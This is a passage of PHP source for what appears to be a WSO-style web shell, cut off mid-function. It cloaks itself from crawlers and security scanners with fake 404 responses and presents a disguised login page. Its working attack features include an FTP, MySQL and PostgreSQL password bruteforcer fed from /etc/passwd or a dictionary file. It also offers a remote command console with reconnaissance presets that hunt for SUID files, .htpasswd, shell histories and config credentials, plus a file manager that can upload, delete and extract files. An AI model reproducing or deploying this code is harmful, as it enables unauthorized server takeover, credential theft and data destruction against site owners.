893//-----------------------------------------------------
894if(!empty($_SERVER['HTTP_USER_AGENT'])) {
895/*
896 * User Agents Blocked:
897 * - Spam Bots
898 * - Injection Attacks
899 *
900 * Note: Items Added!
901 */
902    $user_agents = array('Google','Slurp','MSNBot','ia_archiver','Yandex','Rambler','RSS',
903	'Twitter','Yahoo','curl','anonymous','Robot','WVS','Email','Gmail','Cyber','Ghost','Fbi',
904	'script','cookie','alert','/','\'','&quot;','&lt;?','include','phpinfo','eval','<','>','preg'
905	,'+','-','select','union','=','\x','null', '\u', '/\'');
906	//  /i - Case Insensitive
907    if(preg_match('/' .implode('|', $user_agents). '/i', $_SERVER['HTTP_USER_AGENT'])) {
908        header('HTTP/1.0 404 Not Found');
909        exit;
910    }
911} 
912
913function wsoLogin() {
914	die("
915	<title>Genexus Login</title>
916	<script>
917
918function utf8_encode(argString) {
919    var string = (argString + '');
920    var utftext = '',
921        start, end, stringl = 0;
922    start = end = 0;
923    stringl = string.length;
924    for (var n = 0; n < stringl; n++) {
925        var c1 = string.charCodeAt(n);
926        var enc = null;
927        if (c1 < 128) {
928            end++;
929        } else if (c1 > 127 && c1 < 2048) {
930            enc = String.fromCharCode((c1 >> 6) | 192) + String.fromCharCode((c1 & 63) | 128);
931        } else {
932            enc = String.fromCharCode((c1 >> 12) | 224) + String.fromCharCode(((c1 >> 6) & 63) | 128) + String.fromCharCode((c1 & 63) | 128);
933        }
934        if (enc !== null) {
935            if (end > start) {
936                utftext += string.slice(start, end);
937            }
938            utftext += enc;
939            start = end = n + 1;
940        }
941    }
942    if (end > start) {
943        utftext += string.slice(start, stringl);
944    }
945    return utftext;
946};// MD5
947function md5(str) {
948    var venom_rc5_length;
949    var root_length_dga = function(pid, root_length) {
950        return (pid << root_length) | (pid >>> (32 - root_length));
951    };
952    var inject = function(lX, lY) {
953        var lX4, lY4, lX8, lY8, l_R;
954        lX8 = (lX & 0x80000000);
955        lY8 = (lY & 0x80000000);
956        lX4 = (lX & 0x40000000);
957        lY4 = (lY & 0x40000000);
958        l_R = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
959        if (lX4 & lY4) {
960            return (l_R ^ 0x80000000 ^ lX8 ^ lY8);
961        }
962        if (lX4 | lY4) {
963            if (l_R & 0x40000000) {
964                return (l_R ^ 0xC0000000 ^ lX8 ^ lY8);
965            } else {
966                return (l_R ^ 0x40000000 ^ lX8 ^ lY8);
967            }
968        } else {
969            return (l_R ^ lX8 ^ lY8);
970        }
971    };
972    var _F = function(x, y, z) {
973        return (x & y) | ((~x) & z);
974    };
975    var _G = function(x, y, z) {
976        return (x & z) | (y & (~z));
977    };
978    var _H = function(x, y, z) {
979        return (x ^ y ^ z);
980    };
981    var _I = function(x, y, z) {
982        return (y ^ (x | (~z)));
983    };
984    var _FF = function(a, b, c, d, x, s, ac) {
985        a = inject(a, inject(inject(_F(b, c, d), x), ac));
986        return inject(root_length_dga(a, s), b);
987    };
988    var _GG = function(a, b, c, d, x, s, ac) {
989        a = inject(a, inject(inject(_G(b, c, d), x), ac));
990        return inject(root_length_dga(a, s), b);
991    };
992    var _HH = function(a, b, c, d, x, s, ac) {
993        a = inject(a, inject(inject(_H(b, c, d), x), ac));
994        return inject(root_length_dga(a, s), b);
995    };
996    var _II = function(a, b, c, d, x, s, ac) {
997        a = inject(a, inject(inject(_I(b, c, d), x), ac));
998        return inject(root_length_dga(a, s), b);
999    };
1000    var c2WA = function(str) {
1001        var lWC;
1002        var lML = str.length;
1003        var lNOWt1 = lML + 8;
1004        var lNOWt2 = (lNOWt1 - (lNOWt1 % 64)) / 64;
1005        var lNOW = (lNOWt2 + 1) * 16;
1006        var lWA = new Array(lNOW - 1);
1007        var lBP = 0;
1008        var lBC = 0;
1009        while (lBC < lML) {
1010            lWC = (lBC - (lBC % 4)) / 4;
1011            lBP = (lBC % 4) * 8;
1012            lWA[lWC] = (lWA[lWC] | (str.charCodeAt(lBC) << lBP));
1013            lBC++;
1014        }
1015        lWC = (lBC - (lBC % 4)) / 4;
1016        lBP = (lBC % 4) * 8;
1017        lWA[lWC] = lWA[lWC] | (0x80 << lBP);
1018        lWA[lNOW - 2] = lML << 3;
1019        lWA[lNOW - 1] = lML >>> 29;
1020        return lWA;
1021    };
1022    var w2H = function(pid) {
1023        var w2HV = \"\", w2HVt=\"\",l_B,l_C; 
1024        for (l_C = 0; l_C <= 3; l_C++) {
1025            l_B = (pid >>> (l_C * 8)) & 255;
1026            w2HVt = \"0\"+l_B.toString(16);
1027            w2HV = w2HV + w2HVt.substr(w2HVt.length - 2, 2);
1028        }
1029        return w2HV;
1030    };
1031    var x = [],
1032        k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
1033        S12 = 12,
1034        S13 = 17,
1035        S14 = 22,
1036        S21 = 5,
1037        S22 = 9,
1038        S23 = 14,
1039        S24 = 20,
1040        S31 = 4,
1041        S32 = 11,
1042        S33 = 16,
1043        S34 = 23,
1044        S41 = 6,
1045        S42 = 10,
1046        S43 = 15,
1047        S44 = 21;
1048    str = this.utf8_encode(str);
1049    x = c2WA(str);
1050    a = 0x67452301;
1051    b = 0xEFCDAB89;
1052    c = 0x98BADCFE;
1053    d = 0x10325476;
1054    venom_rc5_length = x.length;
1055    for (k = 0; k < venom_rc5_length; k += 16) {
1056        AA = a;
1057        BB = b;
1058        CC = c;
1059        DD = d;
1060        a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
1061        d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
1062        c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
1063        b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
1064        a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
1065        d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
1066        c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
1067        b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
1068        a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
1069        d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
1070        c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
1071        b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
1072        a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
1073        d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
1074        c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
1075        b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
1076        a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
1077        d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
1078        c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
1079        b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
1080        a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
1081        d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
1082        c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
1083        b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
1084        a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
1085        d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
1086        c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
1087        b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
1088        a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
1089        d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
1090        c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
1091        b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
1092        a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
1093        d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
1094        c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
1095        b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
1096        a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
1097        d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
1098        c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
1099        b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
1100        a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
1101        d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
1102        c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
1103        b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
1104        a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
1105        d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
1106        c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
1107        b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
1108        a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
1109        d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
1110        c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
1111        b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
1112        a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
1113        d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
1114        c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
1115        b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
1116        a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
1117        d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
1118        c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
1119        b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
1120        a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
1121        d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
1122        c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
1123        b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
1124        a = inject(a, AA);
1125        b = inject(b, BB);
1126        c = inject(c, CC);
1127        d = inject(d, DD);
1128    }
1129    var temp = w2H(a) + w2H(b) + w2H(c) + w2H(d);
1130    return temp.toLowerCase();
1131}</script>
1132	
1133<style>
1134html, body {
1135  margin: 0;
1136  padding: 0;
1137  background: #FFFFFF;
1138  color: #000000;
1139  font-family: Verdana, Helvetica, sans-serif;
1140  font-size: 10px
1141}
1142
1143input, select, textarea {
1144  font-family: Verdana, Helvetica, sans-serif;
1145  font-size: 10px;
1146  font-weight: normal;
1147  margin: 0
1148}
1149
1150pre {
1151  font-size: 10pt
1152}
1153
1154td {
1155  margin: 0;
1156  padding: 1px
1157}
1158
1159a:link, a:visited {
1160  color: #1E77D3;
1161  text-decoration: none;
1162  font-weight: normal
1163}
1164
1165a:hover, a:active {
1166  color: #1E77D3;
1167  text-decoration: underline;
1168  font-weight: normal
1169}
1170
1171
1172.table_frame {
1173  border: solid 1px #1E77D3;
1174  background: #F1F1F1;
1175  margin: 0 auto;
1176  padding: 1px
1177}
1178
1179.table_frame td {
1180  white-space:nowrap
1181}
1182
1183.td_header {
1184  background: #1E77D3;
1185  color: #E5EEF9;
1186  font-weight: bold;
1187  padding: 1px;
1188  margin: 0
1189}
1190
1191.td_header a:link, .td_header a:visited {
1192  color: #E5EEF9;
1193  text-decoration: none;
1194  font-weight: bold
1195}
1196
1197.td_header a:hover, .td_header a:active {
1198  color: #E5EEF9;
1199  text-decoration: underline;
1200  font-weight: bold
1201}
1202
1203.error {
1204  color: #FF0000;
1205  font-weight: bold
1206}
1207</style>
1208<center>
1209<span class = 'error'>Enter Account Information</span>
1210<form method = 'post' id = 'login' action = '' onsubmit = \"p=document.getElementsByName('pass')[0];p.value=md5(p.value);\">
1211<table class = 'table_frame' style = 'width:auto'> 
1212<tr>
1213<td align = 'left' colspan = '2' class = 'td_header'>Login</td></tr>
1214<tr>
1215<td valign = 'top' colspan = '1'><table width = '100%' class = 'table_frame'>
1216<tr>
1217<td align = 'left'>User Name:</td><td>
1218<input type = 'text' name = 'user' value = '' maxlength = '255' style = 'width:200px' /></td></tr>
1219<tr>
1220<td align = 'left'>Password:</td><td>
1221<input type = 'password' name = 'pass' value = '' maxlength = '255' style = 'width:200px' /></td></tr>
1222<tr>
1223<td> </td>
1224<td align = 'left' colspan = '1'>
1225<label>
1226<input type = 'checkbox' name = 'remember' value = '1' /> Remember [MD5 cookies]
1227</label>
1228</td></tr></table></td></tr><tr><td align = 'right' colspan = '2'><input type = 'submit' value = 'Submit' /></td></tr>
1229</table>
1230</form>
1231</center>
1232</body>
1233");
1234}
1235// User And Password Box
1236if((!empty($auth_pass)) && (!empty($auth_user))) {
1237    if(isset($_POST['user']) 
1238	&& 
1239	($_POST['user'] == $auth_user) 
1240	&& 
1241	(isset($_POST['pass']) 
1242	&& 
1243	(($_POST['pass']) == $auth_pass))) {
1244        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
1245	}
1246    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) {
1247        wsoLogin();
1248	}
1249} 
1250function actionBruteforce() {
1251    wsoHeader();
1252    if (isset($_POST['proto'])) {
1253        $proto        = htmlspecialchars($_POST['proto']);
1254        $input_server = htmlspecialchars($_POST['server']);
1255        echo "
1256		<h1>Results</h1>
1257		<div class = 'content'>
1258		<span>Type: </span>
1259		$proto
1260		<span>Server: </span>
1261		$input_server
1262		<br>
1263		";
1264		// Bruteforce Method
1265        switch ($_POST['proto']) {
1266            case 'ftp': {
1267                function brute_force($ip, $port, $login, $pass) {
1268                    $ftp_connect = @ftp_connect($ip, $port ? $port : 21);
1269                    if (!$ftp_connect) {
1270                        return false;
1271                    }
1272                    $res = @ftp_login($ftp_connect, $login, $pass);
1273                    @ftp_close($ftp_connect);
1274                    return $res;
1275                }
1276                break;
1277            }
1278            case 'mysql': {
1279                function brute_force($ip, $port, $login, $pass) {
1280                    $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
1281                    @mysql_close($res);
1282                    return $res;
1283                }
1284                break;
1285            }
1286            case 'pgsql': {
1287                function brute_force($ip, $port, $login, $pass) {
1288                    $str = "host='$ip' port='$port' user='$login' password='$pass' dbname=postgres";
1289                    $res = @pg_connect($str);
1290                    @pg_close($res);
1291                    return $res;
1292                }
1293                break;
1294            }
1295        }
1296        $success  = 0;
1297        $attempts = 0;
1298        $server   = explode(':', $_POST['server']);
1299		// Type
1300        switch ($_POST['type']) {
1301            case 1: {
1302                $temp = @file('/etc/passwd');
1303                if (is_array($temp)) {
1304                    foreach ($temp as $line) {
1305                        $line = explode(':', $line);
1306                        ++$attempts;
1307                        if (brute_force(@$server[0], @$server[1], $line[0], $line[0])) {
1308                            $success++;
1309                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1310                        }
1311                        if (@$_POST['reverse']) {
1312                            $tmp = '';
1313                            for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
1314                                $tmp .= $line[0][$i];
1315                            }
1316                            ++$attempts;
1317                            if (brute_force(@$server[0], @$server[1], $line[0], $tmp)) {
1318                                $success++;
1319                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1320                            }
1321                        }
1322                    }
1323                }
1324                break;
1325            }
1326            case 2: {
1327                $temp = @file($_POST['dict']);
1328                if (is_array($temp)) {
1329                    foreach ($temp as $line) {
1330                        $line = trim($line);
1331                        ++$attempts;
1332                        if (brute_force($server[0], @$server[1], $_POST['login'], $line)) {
1333                            $success++;
1334                            echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1335                        }
1336                    }
1337                }
1338                break;
1339            }
1340        }
1341        echo "
1342		<span>Attempts: </span> $attempts 
1343		<span>Success: </span> $success
1344		</div>
1345		<br>
1346		";
1347    }
1348    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1349    echo '</div><br>';
1350    wsoFooter();
1351} 
1352/*
1353 * Console/Terminal
1354 */
1355if($os == 'win') {
1356// Windows
1357	$aliases = array(
1358		"List Directory" => "dir",
1359    	"Find index.php in current dir" => "dir /s /w /b index.php",
1360    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
1361		SERVICES => '',
1362    	"Show Active Connections" => "netstat -an",
1363    	"Show Running Services" => 'net start',
1364    	"User Accounts" => 'net user',
1365    	SHOW_COMPUTERS => 'net view',
1366		"ARP Table" => 'arp -a',
1367		"IP Configuration" => 'ipconfig /all',
1368		TASKLIST => 'tasklist'
1369	);
1370} else {
1371// Linux
1372	$aliases = array(
1373  		"List Dir" => "ls -lha",
1374		"List File Attributes[Linux Second Extended File System]" => "lsattr -va",
1375  		"Show Opened Ports" => "netstat -an | grep -i listen",
1376        "Processes Status" => "ps aux",
1377		"Find" => "",
1378  		"Find All suid files" => "find / -type f -perm -04000 -ls",
1379  		"Find suid files in current dir" => "find . -type f -perm -04000 -ls",
1380  		"Find All sgid files" => "find / -type f -perm -02000 -ls",
1381  		"Find sgid files in current dir" => "find . -type f -perm -02000 -ls",
1382  		"Find config.inc.php files" => "find / -type f -name config.inc.php",
1383  		"Find config* files" => "find / -type f -name \"config*\"",
1384  		"Find config* files in current dir" => "find . -type f -name \"config*\"",
1385  		"Find All writable folders and files" => "find / -perm -2 -ls",
1386  		"Find All writable folders and files in current dir" => "find . -perm -2 -ls",
1387  		"Find All service.pwd files" => "find / -type f -name service.pwd",
1388  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
1389  		"Find All .htpasswd files" => "find / -type f -name .htpasswd",
1390  		"Find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
1391  		"Find All .bash_history files" => "find / -type f -name .bash_history",
1392  		"Find .bash_history files in current dir" => "find . -type f -name .bash_history",
1393  		"Find All .fetchmailrc files" => "find / -type f -name .fetchmailrc",
1394  		"Find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
1395		"Locate" => "",
1396  		"locate httpd.conf files" => "locate httpd.conf",
1397		"locate vhosts.conf files" => "locate vhosts.conf",
1398		"locate proftpd.conf files" => "locate proftpd.conf",
1399		"locate psybnc.conf files" => "locate psybnc.conf",
1400		"locate my.conf files" => "locate my.conf",
1401		"locate admin.php files" =>"locate admin.php",
1402		"locate cfg.php files" => "locate cfg.php",
1403		"locate conf.php files" => "locate conf.php",
1404		"locate config.dat files" => "locate config.dat",
1405		"locate config.php files" => "locate config.php",
1406		"locate config.inc files" => "locate config.inc",
1407		"locate config.inc.php" => "locate config.inc.php",
1408		"locate config.default.php files" => "locate config.default.php",
1409		"locate config* files " => "locate config",
1410		"locate .conf files"=>"locate '.conf'",
1411		"locate .pwd files" => "locate '.pwd'",
1412		"locate .sql files" => "locate '.sql'",
1413		"locate .htpasswd files" => "locate '.htpasswd'",
1414		"locate .bash_history files" => "locate '.bash_history'",
1415		"locate .mysql_history files" => "locate '.mysql_history'",
1416		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
1417		"Locate Backup Files" => "locate backup",
1418		"Locate Dump Files" => "locate dump",
1419		"Locate Priv Files" => "locate priv"
1420	);
1421}
1422function actionConsole() {
1423    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1424        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1425        $_POST['p1'] .= ' 2>&1';
1426    } elseif(!empty($_POST['p1']))
1427        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1428
1429	if(isset($_POST['ajax'])) {
1430		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1431		ob_start();
1432		echo "d.cf.cmd.value='';\n";
1433		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1434		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
1435			if(@chdir($match[1])) {
1436				$GLOBALS['cwd'] = @getcwd();
1437				echo "c_='".$GLOBALS['cwd']."';";
1438			}
1439		}
1440		echo "d.cf.output.value+='".$temp."';";
1441		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1442		$temp = ob_get_clean();
1443		echo strlen($temp), "\n", $temp;
1444		exit;
1445	}
1446    if(empty($_POST['ajax']) && (!empty($_POST['p1']))) {
1447		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1448	}
1449	wsoHeader();
1450    echo "
1451<script>
1452if(window.Event) {
1453	window.captureEvents(Event.KEYDOWN);
1454}
1455var cmds = new Array('');
1456var cur = 0;
1457
1458function key_press(e) {
1459	var console_event = (window.Event) ? e.which : e.keyCode;
1460	if(console_event == 38) {
1461		cur--;
1462		if(cur >= 0) {
1463			document.cf.cmd.value = cmds[cur];
1464		} else {
1465			cur++;
1466		}
1467	} else if(console_event == 40) {
1468		cur++;
1469		if(cur < cmds.length) {
1470			document.cf.cmd.value = cmds[cur];
1471		} else {
1472			cur--;
1473		}
1474	}
1475}
1476
1477function add(cmd) {
1478	cmds.pop();
1479	cmds.push(cmd);
1480	cmds.push('');
1481	cur = cmds.length - 1;
1482}
1483</script>
1484";
1485	echo '<h1>Console</h1><div class=content><form name=cf onsubmit = "if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1486	foreach($GLOBALS['aliases'] as $command_display_name => $raw_command) {
1487		if($raw_command == '') {
1488			$command_display_header = htmlspecialchars($command_display_name);
1489			echo "<optgroup label = '-$command_display_header-'></optgroup>";
1490			continue;
1491		}
1492		$raw_command_text = htmlspecialchars($raw_command);
1493		echo "<option value = '$raw_command_text'>$command_display_name</option>";
1494	}
1495	
1496	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1497	if(!empty($_POST['p1'])) {
1498		echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1499	}
1500	echo '</textarea><table style = "border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width = "100%"><tr><td width = "1%">$</td><td><input type=text name=cmd style = "border:0px;width:100%;" onkeydown = "key_press(event);"></td></tr></table>';
1501	echo '</form></div><script>d.cf.cmd.focus();</script>';
1502	wsoFooter();
1503} 
1504
1505function actionFilesMan() {
1506    if (!empty($_COOKIE['f'])) {
1507        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
1508    }
1509    if (!empty($_POST['p1'])) {
1510        switch ($_POST['p1']) {
1511			// Upload A File
1512            case 'uploadFile': {
1513                if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
1514                    echo (CANNOT_UPLOAD_FILE);
1515				}
1516                break;
1517			}
1518			// Make A Directory
1519            case 'mkdir': {
1520                if (!@mkdir($_POST['p2'])) {
1521                    echo (CANNOT_MAKE_DIRECTORY);
1522				}
1523                break;
1524			}
1525            case 'delete': {
1526                function deleteDir($path) {
1527                    $path = (substr($path, -1) == '/') ? $path : $path . '/';
1528                    $dh   = opendir($path);
1529                    while (($item = readdir($dh)) !== false) {
1530                        $item = $path . $item;
1531                        if ((basename($item) == '..') || (basename($item) == '.'))
1532                            continue;
1533                        $type = filetype($item);
1534                        if ($type == 'dir') {
1535                            deleteDir($item);
1536                        } else {
1537                            @unlink($item);
1538                        }
1539                    }
1540                    closedir($dh);
1541                    @rmdir($path);
1542                }
1543                if (is_array(@$_POST['f'])) {
1544                    foreach ($_POST['f'] as $f) {
1545                        if ($f == '..') continue;
1546                        // Delete Onīsan
1547                        $f = urldecode($f);
1548                        if (is_dir($f)) {
1549                            deleteDir($f);
1550                        } else {
1551                            @unlink($f);
1552                        }
1553                    }
1554                }
1555                break;
1556			}
1557			// Paste Files
1558            case 'paste': {
1559			// Options(Files/Directory's):
1560			switch($_COOKIE['act']) {
1561			// Copy Files
1562				case 'copy' : {
1563					function copy_paste($file_contents, $s, $d) {
1564                        if (is_dir($file_contents . $s)) {
1565                            mkdir($d . $s);
1566                            $h = @opendir($file_contents . $s);
1567                            while (($f = @readdir($h)) !== false) {
1568                                if (($f != '.') && ($f != '..')) {
1569                                    copy_paste($file_contents . $s . '/', $f, $d . $s . '/');
1570                                }
1571                            }
1572                        } elseif (is_file($file_contents . $s)) {
1573                            @copy($file_contents . $s, $d . $s);
1574                        }
1575                    }
1576                    foreach ($_COOKIE['f'] as $f) {
1577                        copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
1578                    }
1579					break;
1580				}
1581				// Move Files
1582				case 'move' : {
1583					function move_paste($file_contents, $s, $d) {
1584                        if (is_dir($file_contents . $s)) {
1585                            mkdir($d . $s);
1586                            $h = @opendir($file_contents . $s);
1587                            while (($f = @readdir($h)) !== false) {
1588                                if (($f != ".") && ($f != "..")) {
1589                                    copy_paste($file_contents . $s . '/', $f, $d . $s . '/');
1590                                }
1591                            }
1592                        } elseif (@is_file($file_contents . $s)) {
1593                            @copy($file_contents . $s, $d . $s);
1594						}
1595                    }
1596                    foreach ($_COOKIE['f'] as $f) {
1597                        @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
1598                    }
1599					break;
1600				}
1601				// ZIP Files
1602				case 'zip' : {
1603					 if (class_exists('ZipArchive')) {
1604                        $zip = new ZipArchive();
1605                        if ($zip->open($_POST['p2'], 1)) {
1606                            chdir($_COOKIE['c']);
1607                            foreach ($_COOKIE['f'] as $f) {
1608                                if ($f == '..') continue;
1609                                // ZIP Groups Of Files
1610                                if (@is_file($_COOKIE['c'] . $f)) {
1611                                    $zip->addFile($_COOKIE['c'] . $f, $f);
1612                                } elseif (@is_dir($_COOKIE['c'] . $f)) {
1613                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
1614                                    foreach ($iterator as $key => $value) {
1615                                        $zip->addFile(realpath($key), $key);
1616                                    }
1617                                }
1618                            }
1619                            chdir($GLOBALS['cwd']);
1620                            $zip->close();
1621                        }
1622                    }
1623					break;
1624				}
1625				// UnZIP Files
1626				case 'unzip' : {
1627					if (class_exists('ZipArchive')) {
1628                        $zip = new ZipArchive();
1629                        foreach ($_COOKIE['f'] as $f) {
1630                            if ($zip->open($_COOKIE['c'] . $f)) {
1631                                $zip->extractTo($GLOBALS['cwd']);
1632                                $zip->close();
1633                            }
1634                        }
1635                    }
1636					break;
1637				}
1638				// Linux(Zip Files)
1639				case 'tar' : {
1640					chdir($_COOKIE['c']);
1641                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
1642                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
1643                    chdir($GLOBALS['cwd']);
1644					break;
1645				}
1646			}
1647                unset($_COOKIE['f']);
1648                setcookie('f', '', time() - 3600);
1649                break;
1650			}
1651            default: {
1652                if (!empty($_POST['p1'])) {
1653                    WSOsetcookie('act', $_POST['p1']);
1654                    WSOsetcookie('f', serialize(@$_POST['f']));
1655                    WSOsetcookie('c', @$_POST['c']);
1656                }
1657                break;
1658			}
1659        }
1660    }
1661    wsoHeader();
1662    echo "
1663	<h1>File Manager</h1>
1664	<div class = 'content'>
1665	<script>p1_=p2_=p3_='';</script>
1666	";
1667    $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
1668    if ($dirContent === false) {
1669        echo (CANNOT_OPEN_THIS_FOLDER);
1670        wsoFooter();
1671        return;
1672    }
1673    global $sort;
1674    $sort = array(
